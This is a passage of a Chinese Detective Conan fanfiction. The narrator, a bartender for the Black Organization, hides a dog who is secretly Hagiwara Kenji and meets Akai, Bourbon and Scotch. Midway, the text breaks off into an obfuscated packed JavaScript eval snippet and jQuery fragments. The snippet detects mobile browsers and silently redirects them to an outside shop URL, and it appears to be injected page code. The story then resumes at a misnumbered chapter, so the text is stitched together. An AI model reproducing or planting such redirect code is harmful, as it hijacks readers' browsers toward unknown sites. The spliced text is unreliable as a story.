31.DAY31
    114.

    仗着黑衣组织与琴酒对我的个人魅力不切实际的期待,我开始大摇大摆地整日带着开门猫和松田阵平厮混在一起。

    别问,问就是执行任务,为了组织大业!

    至于组织大业的进展嘛……

    我一脸严肃地和基安蒂说:“劝你不要瞎打听,小心我害羞。”

    基安蒂差点被酒呛到,用力锤着科恩的肩膀,声音尖利得不行:“你?害羞?”

    我面无表情地用双手捂住脸:“对啊,我已经害羞了,嘤嘤嘤。”

    毫无感情的“嘤嘤嘤”,嘤嘤嘤之后我还矫揉造作地迈着小碎步跑掉,搞得基安蒂在我身后都快要吐出来了。

    好想笑,原本就捂着脸的我忍不住低头笑出声,就也没顾得上看路,直到真的撞到了一堵肉墙。

    “小心!”

    被握住手臂以保持平衡,我抬起头,撞进了墨绿色的深潭。

    “小姐,你没事吧?撞痛你了吗?”男人的声线优雅而醇厚,似乎每一个音调都是精心设计过的性感。

    黑色长发,针织帽,绿眼,还有眼下标志性的下眼线。

    赤井秀一。

    又或者说,现在他是诸星大?

    115.

    【英子,英子,英子?】黑色杜宾犬叼着手机跳上床,凑到靠着床头抱膝而坐的我旁边,柔软温热的肉垫搭在我小腿上交叠的手指上,棕黑色的杏核眼里满是关心,【你怎么了?】

    我茫然回神:“啊?”

    【你回来之后就一直在发呆,是上班的时候发生了什么事情吗?】萩原研二思索着,眼中有些担忧,【被什么人欺负了吗?】

    我诧异一笑:“开什么玩笑,在我自己的地盘还能有人欺负我?”

    真当基安蒂和科恩是摆设不成?也真当除了我之外的其他工作人员都是废物不成?Polestar里的打工仔,除了我之外可都是随身带枪的。不开玩笑,搜查一课要是哪天过来检查,保证一查一个准。

    不过他们也不会有机会来polestar酒吧检查也就是了,或者说在他们来查之前,我们这边就能收到消息。

    不然polestar是怎么做到里世界里几乎众人皆知这是黑衣组织的地盘,但是却一直好好开着?

    唉,我们小柯南还真是任重而道远啊。

    说起来,我是不是应该提前认识一下工藤新一?倒不是想要提前和男主角打好关系,主要是我有点馋阿笠博士……

    宾加的摩斯密码翻译器确实好用,但是对于杜宾犬来说整天叼着手机跑也不是很方便。我感觉按照阿笠博士的神奇程度,发明改造一个可以挂在杜宾犬身上还能正常翻译的摩斯密码翻译装置应该易如反掌?

    【怎么又在发呆了?那看来真的不是什么不好的事情,那……】萩原研二拍拍我,【可以告诉我吗?】

    犯、犯规了。

    我有多久没见过猫猫撒娇了?好像是自从他变回萩原研二开始,我就再也没见到黑色的杜宾犬趴在我身上,脑袋微微歪着,讨好一样地蹭着我,杏核眼里专注得只有我一个人的样子了。

    还有微微的哼唧声,这是开门猫作为一个酷狗能做到的最大的撒娇让步。

    虽然比不上其他小狗狗的可爱,但是反差感真的每次都能把我迷得七荤八素,恨不得整个人都粘过去,把大狗狗从头亲到尾。

    这次……阔别已久的撒娇杀伤力就更大了,搞得我完全忘记了今天见到赤井秀一后的失神,直接扑进了他怀里。

    猫猫用爪子搂住我,等我折腾够了抱着他在床上躺着,才继续问:【所以今天英子小姐遇到了什么事情呢?】

    “没什么。”我把脸埋进他的毛,含混着说,“遇到了一个……很久不见的人。”

    【很久不见的人?不是朋友吗?】

    我摇摇头:“不是吧,以后不一定。”

    或者说以后肯定是!帅气的纸片人什么的,可一定要成为我的翅膀啊!切拜!

    【这样吗……】萩原研二丢掉翻译器,将脑袋放在我的头顶,没再说话。

    116.

    赤井秀一出现之后,我每天上班的积极性都调高了好几个度,搞得新来的同事还有几个以为我是靠着卷王精神才在琴酒身边活了那么久的。

    真是天真!

    不过天真也好,本来就卷的他们以为get到了什么升职加薪的秘诀,比我更加卷,搞得酒吧的业绩都比以前提高了不少。

    ……也不看看要是真能升职加薪,我还会在酒吧当普通酒保当了两年?啧,懂不懂在黑衣组织保命的秘诀实际上是苟啊!

    嘛,他们也不重要,重要的是赤井秀一,或者说是威士忌三人组。

    我肯定是期待的。我期待着再遇到赤井秀一,还期待着能够真的见到降谷零和活着的诸伏景光,可以说在发现自己身处柯学元年之后我一直都期待着能够遇到他们,也一直都想能改变悲剧。

    可是……如果降谷零和诸伏景光出现了,如果他们也会经常来酒吧……会遇到开门猫的吧?那到时候我还能瞒着我的身份吗?而且他们更有可能会遇到一有时间就来酒吧找我的松田阵平……

    头痛啊,这大概就是成长的烦恼。

    过了几个月,冬装换春装,春装换夏装,我也终于在酒吧里真的遇到了他们。

    对,是他们,降谷零,诸伏景光和赤井秀一。

    准确来说是波本,苏格兰和莱伊。

    琴酒带着威士忌三人组进酒吧的时候我正在被贝尔摩德搂在怀里,对着其他人传教:“个人觉得,开玩笑适度最好,天天说这是你老婆,那个是你老婆的,假如这个美女是你妹妹或者姐姐、女朋友,别人一直这样说,你心里会怎么想?更何况这是我老婆,我希望朋友们自重。”

    琴酒:“你又在发什么疯?”

    过来看热闹的同事们很有眼色地跑掉,被骂的我没能跑掉,因为贝尔摩德搂紧我,根本不让我跑,还挑衅一样地对着琴酒挑起眉:“怎么,你也想当英子的老婆?”

    还能有这种好事?我马上支棱起来:“没问题,都来啊,都来,不白来啊——”

    琴酒面无表情:“你想死吗?”

    支棱不到一秒的我马上缩脖闭嘴,眼睛却很尖地越过琴酒的肩膀与他身后的三个黑衣男人对视。

    锁住我的眼神的长发男人弯起眼睛:“小姐,我们又见面了。”

    “哦?这就提前和新同事认识了?还真不愧是英子呢。”贝尔摩德的红唇凑近我,在我耳边呵气如兰,美目扫过其他人,噗嗤一笑。

    “新同事?”我只是装傻,“怪不得在大哥身后,已经拿到代号了吗?”

    “你不是收到邮件了吗?这三个就是最近新拿到代号的波本、苏格兰和莱伊。”琴酒的目光淡淡扫过黏在一起的我和贝尔摩德,抬步就走,“开门。”

    我明目张胆地挨个上下打量了一下三位假酒,才钻出贝尔摩德的怀抱,屁颠屁颠地跟上琴酒的大长腿:“嗻!”

    11

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044688|145215||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    7.

    我的逃避型人格还是发挥了作用,我还是没有对萩原研二坦白。

    咳,没什么,我坦白什么呢?我又不认识降谷零和诸伏景光是吧?我哪里知道他们是同期好友?

    我不仅没坦白,我还装得很好,完全没有第一次见到赤井秀一的失神,正常下班回家,正常带着开门猫出去散步,也正常约松田阵平一起带着开门猫出去玩。

    不过让我经常提心吊胆的还是……他们居然真的经常会来酒吧。

    威士忌组作为新加入黑衣组织的卧底,工作积极性可比我高多了,我几乎每天都能从其他人口中听到这批进来的新人能力有多强的感叹。

    不是,都这么忙了,怎么还能动不动就来酒吧喝酒啊?组织成员来酒吧喝酒不要钱,所以他们就来使劲薅黑衣组织羊毛吗?

    道理我都懂,酒吧到底有谁在啊?

    总不能是冲着我来的吧???

    ……呃,还真没准。

    他们似乎把我当成了黑衣组织的情报突破口,是因为看我长了一张很好说话的花痴加白痴的脸吗?尽管和帅哥凑近乎,吃帅哥豆腐,对帅哥说土味情话很快乐,但是也架不住我现在真的心虚啊!

    唯一值得庆幸的是,他们这群人不管是不是一起来的,都会在酒吧打烊前离开,也每次都没碰上松田阵平来找我玩,所以目前警校组还没有真的见面。

    但是有句话怎么说来着?越怕什么就越会来什么,又或者说,命运总喜欢给人来个措手不及。

    所以我真的没想到,在我送走了不约而同过来的波本和莱伊,在酒吧关门之后带着萩原研二出门的时候,在河边公园——

    遇到了波本。

    不是,我单知道安室透会晨跑,怎么波本还会夜跑啊!!!

    “波、波本。”我呆滞地挥了挥手,下意识想要后退,腿撞上了停住不动的猫猫,差点摔倒。

    波本无奈地拉住我,好笑地问:“我什么时候改名叫波波本了?嗯?”

    救、救命,你不要这样散发魅力了,我真的要死了!!!

    我闭上眼深呼吸,波本却已经弯下腰好奇地看着杜宾犬,问:“这是你的狗?”

    我骤然低下头,看到我腿边的杜宾犬抬起头与波本对视。

    这是杜宾犬和波本对视吗?不,这是萩原研二在与分别三年的警校同期好友对视。

    逃不掉了,他发现了。

    “英子?”波本饶有兴趣地笑起来,试探性地问,“我可以摸一下吗?这只狗看着有点眼熟。”

    面对波本的询问,我没回答。我甚至都没有和波本道别,我的第一反应是只顾得上撒腿就跑,跑回酒吧,哦,倒是记得跑的时候攥紧了杜宾犬的遛狗绳。

    波本疑惑的呼喊声被我抛在脑后,我敢保证我逃跑的速度绝对是琴酒看到了都会欣慰的程度,但是现如今我可没时间感叹这个了。

    我一口气跑回阁楼,关上门,没有开灯。

    一片黑暗中,我无力地靠在门板上,沉重地呼吸着。

    脑子好乱,千思万绪纠结着,在复杂的线团中,一直以来直觉感受到的,被我逃避不肯承认的一件事越过重重丝线,飞到了我无神的双眼前。

    萩原研二,明明早就发现了。

    他早就发现了,他只是不说,只是……在等着我自首吗?

    裸露在外的小腿被杜宾犬蹭着,感受着腿上的触感,我低下头,闷声说:

    “对,如你所见,我就是个罪无可赦的坏蛋。”